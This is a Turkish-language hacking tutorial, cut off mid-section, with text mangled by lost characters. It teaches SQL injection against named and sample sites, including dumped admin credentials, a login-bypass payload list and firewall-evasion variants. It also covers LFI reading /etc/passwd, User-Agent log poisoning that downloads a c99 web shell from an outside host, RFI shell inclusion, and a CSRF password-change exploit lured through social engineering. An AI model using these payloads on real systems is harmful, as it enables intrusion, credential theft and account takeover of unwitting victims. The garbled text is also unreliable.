Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--
Sorgusunun ardından ekrana tablersquolar yansıdı
Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )
Şimdi admin tablosundaki kolonlara bakalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
Ekrana userpassmail yansıdığını farz edelim
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--
User admin
Pass 123456
Email adminparoswinescom
b-) Ms Access SQL İnjection
Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml
SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr
Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo
Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir
Microsoft JET Database Engine error rsquo80040e14rsquo
Syntax error in string in query expression rsquoid = 10rsquo
sayfaasp line 7
Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz
wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti
wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata
Microsoft JET Database Engine error rsquo80040e14rsquo
The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression
sayfaasp line 7
Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek
wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış
Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım
wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza
Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani
wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--
ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir
wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--
Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur
User mahserat
Pass bugres
c-) Blind SQL İnjection
Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz
Gene bir hedef site duumlşuumlnuumln
wwwsayfacomdosyaphpid=2 olsun
Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz
wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor
and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz
Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz
wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım
wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş
Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325
burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir
Şimdi user sutuumlnunu ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572
Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim
and substring((select user from users)11)=0x(tahmin edilen users)
and substring((select pass from users)21)=0x(tahmin edilen users)
Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz
Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir
d-) String SQL İnjection
Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani
wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor
wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz
wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim
wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok
wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil
wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor
Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi
wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )
Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr
Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
